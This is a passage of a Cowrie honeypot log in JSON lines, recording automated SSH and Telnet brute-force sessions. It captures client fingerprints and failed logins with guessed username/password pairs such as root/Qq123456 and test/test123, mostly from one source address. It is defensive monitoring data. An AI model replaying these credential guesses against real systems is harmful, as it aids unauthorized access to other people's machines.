com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:21.515634Z","src_ip":"45.156.87.254","session":"edfc2e34f302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:21.834434Z","src_ip":"45.156.87.254","session":"edfc2e34f302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:22.949377Z","src_ip":"45.156.87.254","session":"edfc2e34f302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35238,"dst_ip":"159.203.135.109","dst_port":22,"session":"48932a1a30b7","protocol":"ssh","message":"New connection: 45.156.87.254:35238 (159.203.135.109:22) [session: 48932a1a30b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:26.193371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:26.199577Z","src_ip":"45.156.87.254","session":"48932a1a30b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:26.285413Z","src_ip":"45.156.87.254","session":"48932a1a30b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:26.544980Z","src_ip":"45.156.87.254","session":"48932a1a30b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:27.634807Z","src_ip":"45.156.87.254","session":"48932a1a30b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51344,"dst_ip":"159.203.135.109","dst_port":22,"session":"4830e3490ff2","protocol":"ssh","message":"New connection: 45.156.87.254:51344 (159.203.135.109:22) [session: 4830e3490ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:30.756485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:30.761934Z","src_ip":"45.156.87.254","session":"4830e3490ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:30.845584Z","src_ip":"45.156.87.254","session":"4830e3490ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:31.095823Z","src_ip":"45.156.87.254","session":"4830e3490ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:32.222282Z","src_ip":"45.156.87.254","session":"4830e3490ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51372,"dst_ip":"159.203.135.109","dst_port":22,"session":"7abb66cd1be9","protocol":"ssh","message":"New connection: 45.156.87.254:51372 (159.203.135.109:22) [session: 7abb66cd1be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:35.299278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:35.304503Z","src_ip":"45.156.87.254","session":"7abb66cd1be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:35.392859Z","src_ip":"45.156.87.254","session":"7abb66cd1be9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:35.641444Z","src_ip":"45.156.87.254","session":"7abb66cd1be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:36.899737Z","src_ip":"45.156.87.254","session":"7abb66cd1be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56288,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecd031e0c12e","protocol":"ssh","message":"New connection: 45.156.87.254:56288 (159.203.135.109:22) [session: ecd031e0c12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:39.732465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:39.737347Z","src_ip":"45.156.87.254","session":"ecd031e0c12e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:39.821525Z","src_ip":"45.156.87.254","session":"ecd031e0c12e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:40.087353Z","src_ip":"45.156.87.254","session":"ecd031e0c12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:41.172348Z","src_ip":"45.156.87.254","session":"ecd031e0c12e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":54220,"dst_ip":"10.17.0.5","dst_port":23,"session":"367443ab6fbb","protocol":"telnet","message":"New connection: 185.145.252.179:54220 (10.17.0.5:23) [session: 367443ab6fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:42.991563Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56304,"dst_ip":"159.203.135.109","dst_port":22,"session":"d97c5d74a431","protocol":"ssh","message":"New connection: 45.156.87.254:56304 (159.203.135.109:22) [session: d97c5d74a431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:44.199168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:44.204030Z","src_ip":"45.156.87.254","session":"d97c5d74a431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:44.286322Z","src_ip":"45.156.87.254","session":"d97c5d74a431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:44.532093Z","src_ip":"45.156.87.254","session":"d97c5d74a431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:45.616310Z","src_ip":"45.156.87.254","session":"d97c5d74a431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56314,"dst_ip":"159.203.135.109","dst_port":22,"session":"474c8810d2b7","protocol":"ssh","message":"New connection: 45.156.87.254:56314 (159.203.135.109:22) [session: 474c8810d2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:48.501547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:48.572074Z","src_ip":"45.156.87.254","session":"474c8810d2b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:48.725478Z","src_ip":"45.156.87.254","session":"474c8810d2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:48.994315Z","src_ip":"45.156.87.254","session":"474c8810d2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:50.082762Z","src_ip":"45.156.87.254","session":"474c8810d2b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df506d208da","protocol":"ssh","message":"New connection: 45.156.87.254:60600 (159.203.135.109:22) [session: 8df506d208da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:52.989891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:52.995304Z","src_ip":"45.156.87.254","session":"8df506d208da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:53.119537Z","src_ip":"45.156.87.254","session":"8df506d208da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:53.534668Z","src_ip":"45.156.87.254","session":"8df506d208da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:54.621271Z","src_ip":"45.156.87.254","session":"8df506d208da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52090,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb6e31f1891","protocol":"telnet","message":"New connection: 20.123.41.163:52090 (10.17.0.5:23) [session: eeb6e31f1891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:55.472891Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":55508,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b93483be88","protocol":"ssh","message":"New connection: 186.30.115.187:55508 (10.17.0.5:22) [session: b2b93483be88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:56.029845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:56.034179Z","src_ip":"186.30.115.187","session":"b2b93483be88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:56.124540Z","src_ip":"186.30.115.187","session":"b2b93483be88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test4321","message":"login attempt [root/test4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:56.521388Z","src_ip":"186.30.115.187","session":"b2b93483be88","protocol":"ssh"}
